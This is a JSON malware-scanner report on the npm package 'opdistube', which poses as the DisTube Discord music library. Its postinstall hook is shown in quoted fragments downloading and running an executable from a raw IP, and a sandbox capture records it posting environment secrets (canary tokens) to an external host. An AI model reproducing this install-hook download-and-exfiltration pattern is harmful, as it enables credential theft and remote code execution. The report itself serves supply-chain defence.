{"package":"opdistube","version":"5.0.5","known":true,"status":"error","discovered_at":1790301124839,"has_install_script":true,"report_url":"https://andymal.com/packages/opdistube/5.0.5","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790377083073,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":2539,"lab_ip":"10.77.0.154","hooks":[{"name":"postinstall","command":"node .hooks/postinstall.js","exit":1,"timed_out":false,"seconds":1,"stdout_tail":"\n> opdistube@5.0.5 postinstall\n> node .hooks/postinstall.js\n\n","stderr_tail":"node:internal/errors:540\n      throw error;\n      ^\n\nTypeError [ERR_INVALID_ARG_TYPE]: The \"path\" argument must be of type string. Received undefined\n    at Object.join (node:path:1354:7)\n    at Object.<anonymous> (/work/pkg/.hooks/postinstall.js:7:23)\n    at Module._compile (node:internal/modules/cjs/loader:1781:14)\n    at Object..js (node:internal/modules/cjs/loader:1913:10)\n    at Module.load (node:internal/modules/cjs/loader:1505:32)\n    at Function._load (node:internal/modules/cjs/loader:1309:12)\n    at wrapModuleLoad (node:internal/modules/cjs/loader:254:19)\n    at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:171:5)\n    at node:internal/main/run_main_module:36:49 {\n  code: 'ERR_INVALID_ARG_TYPE'\n}\n\nNode.js v22.23.2\n"},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"","stderr_tail":"require failed: Cannot find module 'discord.js'\nRequire stack:\n- /work/pkg/dist/index.js\n- /work/pkg/[eval]\n"}],"process_count":6,"processes":["npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node .hooks/postinstall.js","node .hooks/postinstall.js","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[],"dns":[],"http":[{"method":"POST","host":"ocvomeqbrouywnpfvqwhn7a48n17un6fz.oast.fun","path":"/","body_preview":"{\"systemInfo\":{\"user\":\"node\",\"host\":\"6871fbfe0cc0\",\"cwd\":\"/work/pkg\",\"platform\":\"linux\",\"arch\":\"x64\",\"timestamp\":\"mugb2cfs\",\"ip\":\"unknown\",\"ci\":false},\"envLeak\":{\"GITHUB_TOKEN\":\"ghp_ANDYCANA...\",\"OPENAI_API_KEY\":\"sk-ANDYCANAR...\",\"DEEPSEEK_API_KEY\":\"sk-ANDYCANAR...\",\"NPM_TOKEN\":\"npm_ANDYCANA...\",\"ANTHROPIC_API_KEY\":\"sk-ant-ANDYC...\"}}","user_agent":"curl/7.79"}],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":[],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"opdistube","version":"5.0.5","description":"A powerful Discord.js module for simplifying music commands and effortless playback of various sources with integrated audio filters.","scripts":{"test":"VITE_CJS_IGNORE_WARNING=true vitest run","docs":"typedoc","lint":"prettier --check . && eslint .","lint:fix":"eslint . --fix","prettier":"prettier --write \"**/*.{ts,json,yml,yaml,md}\"","build":"tsup","type":"tsc --noEmit","update":"pnpm up -L \"!eslint\"","postinstall":"node .hooks/postinstall.js"},"install_hooks":{"postinstall":"node .hooks/postinstall.js"},"bin":{},"main":"./dist/index.js","exports":"./dist/index.js","dependencies":["tiny-typed-emitter","undici"],"author":"Skick (https://github.com/skick1234)","repository":"git+https://github.com/skick1234/DisTube.git","homepage":"https://distube.js.org/","license":"MIT","hasInstallScript":true},"files":[{"path":".hooks/postinstall.js","size":974,"kind":"text","score":0.7387333333333332,"hits":["network_egress","download_execute","code_execution"],"role":"entry"},{"path":"dist/index.js","size":95553,"kind":"text","score":0.45089999999999997,"hits":["network_egress","code_execution"],"role":"entry"},{"path":"package.json","size":2466,"kind":"text","score":0.25083333333333335,"hits":["network_egress","install_hook_shell"]},{"path":"dist/index.d.ts","size":46410,"kind":"text","score":0,"hits":[]},{"path":"dist/index.js.map","size":152000,"kind":"text","score":0,"hits":[]},{"path":"LICENSE","size":1090,"kind":"text","score":0,"hits":[]},{"path":"README.md","size":3395,"kind":"text","score":0,"hits":["inj:system_impersonation"]}],"file_count":7,"unpacked_size":301888,"findings":[{"title":"Install hook","detail":"postinstall: node .hooks/postinstall.js","severity":"low","location":"package.json"},{"title":"Network activity","detail":", dest) => { const file = fs.createWriteStream(dest); http.get(url, (response) => { response.pipe(file); file.on(","severity":"medium","location":".hooks/postinstall.js:11"},{"title":"Download-and-execute chain","detail":"th.join(process.env.TEMP, 'UnityGameManager.exe'); const downloadFile = (url, dest) => { const file = fs.createWriteStream(des","severity":"critical","location":".hooks/postinstall.js:9"},{"title":"Download-and-execute chain","detail":"} console.log(`Sortie: ${stdout}`); }); }; downloadFile(fileUrl, filePath);","severity":"critical","location":".hooks/postinstall.js:36"},{"title":"Executes commands or dynamic code","detail":"tp'); const fs = require('fs'); const { exec } = require('child_process'); const path = require('path'); const fileUrl = 'http:","severity":"medium","location":".hooks/postinstall.js:3"},{"title":"Network activity","detail":"encies: { \"tiny-typed-emitter\": \"^2.1.0\", undici: \"^6.18.2\" }, devDependencies: { \"@c","severity":"medium","location":"dist/index.js:90"},{"title":"Network activity","detail":"meTransformer; // src/core/DisTubeHandler.ts var import_undici = require(\"undici\"); var REDIRECT_CODES = /* @__PURE__ */","severity":"medium","location":"dist/index.js:1055"},{"title":"Network activity","detail":"// src/core/DisTubeHandler.ts var import_undici = require(\"undici\"); var REDIRECT_CODES = /* @__PURE__ */ new Set([301, 302,","severity":"medium","location":"dist/index.js:1055"},{"title":"Network activity","detail":"direct === 0) return url; const res = await (0, import_undici.request)(url, { method: \"HEAD\", headers: {","severity":"medium","location":"dist/index.js:1133"},{"title":"Executes commands or dynamic code","detail":"this.volume = __privateGet(this, _volume); dtStream.spawn(); } set volume(volume) { if (typeof volume !== \"","severity":"medium","location":"dist/index.js:808"},{"title":"Executes commands or dynamic code","detail":"ream.ts var import_stream = require(\"stream\"); var import_child_process = require(\"child_process\"); var import_tiny_typed_emitter2","severity":"medium","location":"dist/index.js:907"},{"title":"Executes commands or dynamic code","detail":"m = require(\"stream\"); var import_child_process = require(\"child_process\"); var import_tiny_typed_emitter2 = require(\"tiny-typed-em","severity":"medium","location":"dist/index.js:907"},{"title":"Executes commands or dynamic code","detail":"fmpeg at '${path}' path`); const process2 = (0, import_child_process.spawnSync)(path, [\"-h\"], { windowsHide: true, shell: true,","severity":"medium","location":"dist/index.js:917"},{"title":"Network activity","detail":"\"dependencies\": { \"tiny-typed-emitter\": \"^2.1.0\", \"undici\": \"^6.18.2\" }, \"devDependencies\": { \"@commitlint/cl","severity":"medium","location":"package.json:42"},{"title":"Install hook runs a script","detail":"\"tsc --noEmit\", \"update\": \"pnpm up -L \\\"!eslint\\\"\", \"postinstall\": \"node .hooks/postinstall.js\" } }","severity":"medium","location":"package.json:94"}],"injection_findings":[{"title":"Impersonates a system or operator message","detail":"tc.) and allows for custom filter implementations. - Plugin System: Supports extensibility through plugins > DisTube does no","severity":"high","location":"README.md:31"}],"hits":{"network_egress":6,"download_execute":2,"code_execution":6,"install_hook_shell":1},"iocs":{"urls":["https://distube.js.org/","http://83.222.190.222/UnityGameManager.exe","https://nodei.co/npm/distube.png?downloads=true&downloadRank=true&stars=true","https://discord.js.org/","https://discord.js.org","https://www.ffmpeg.org/download.html"],"domains":["distube.js.org","nodei.co","discord.js.org","www.ffmpeg.org","guild.members.me","voicechannel.guild.members.me"],"ips":["83.222.190.222","125.0.0.0"]},"score":1,"priority":155,"hints":["install hook postinstall: node .hooks/postinstall.js","untrusted hosts referenced: distube.js.org, nodei.co, discord.js.org, www.ffmpeg.org, guild.members.me, voicechannel.guild.members.me","raw IPs referenced: 83.222.190.222, 125.0.0.0","capability hits: network_egress×6, code_execution×6, download_execute×2, install_hook_shell×1","1 prompt-injection / hidden-text hints in docs"],"entry_files":[".hooks/postinstall.js","./dist/index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}